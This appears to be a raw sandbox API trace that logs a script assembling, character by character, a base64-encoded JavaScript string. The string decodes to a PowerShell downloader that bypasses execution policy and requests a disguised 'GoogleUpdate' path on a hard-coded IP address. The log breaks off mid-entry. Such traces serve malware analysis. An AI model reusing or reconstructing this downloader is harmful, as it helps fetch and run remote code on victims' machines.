bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9J", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.791] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JH", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHI", bstrRight="u", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIu", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0U", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0Um", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmV", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVz", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzc", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9", bstrRight="u", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9u", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2U", bstrRight="o", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2Uo", bstrRight="K", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoK", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKT", bstrRight="s", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.792] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTs", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTsk", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskc", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmV", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVz", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzc", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcH", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0c", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmV", bstrRight="h", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVh", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhb", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT", bstrRight="0", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0", bstrRight="k", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0k", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kc", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcm", bstrRight="V", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmV", bstrRight="z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.793] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVz", bstrRight="c", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzc", bstrRight="C", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC", bstrRight="5", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5H", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZX", bstrRight="R", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXR", bstrRight="S", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRS", bstrRight="Z", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZ", bstrRight="X", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZX", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXN", bstrRight="w", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNw", bstrRight="b", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var c='cG93ZXJzaGVsbCAtbm9wIC1leGVjIGJ5cGFzcyAtYyAiJHI9W1N5c3RlbS5OZXQuV2ViUmVxdWVzdF06OkNyZWF0ZSgnaHR0cDovLzE1NC4xNi4zNy4xMjIvR29vZ2xlVXBkYXRlL1VwZGF0ZS5waHAnKTsgJHJlc3A9JHIuR2V0UmVzcG9uc2UoKTskcmVzcHN0cmVhbT0kcmVzcC5HZXRSZXNwb", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.794] VarBstrCat (in: bstrLeft="var 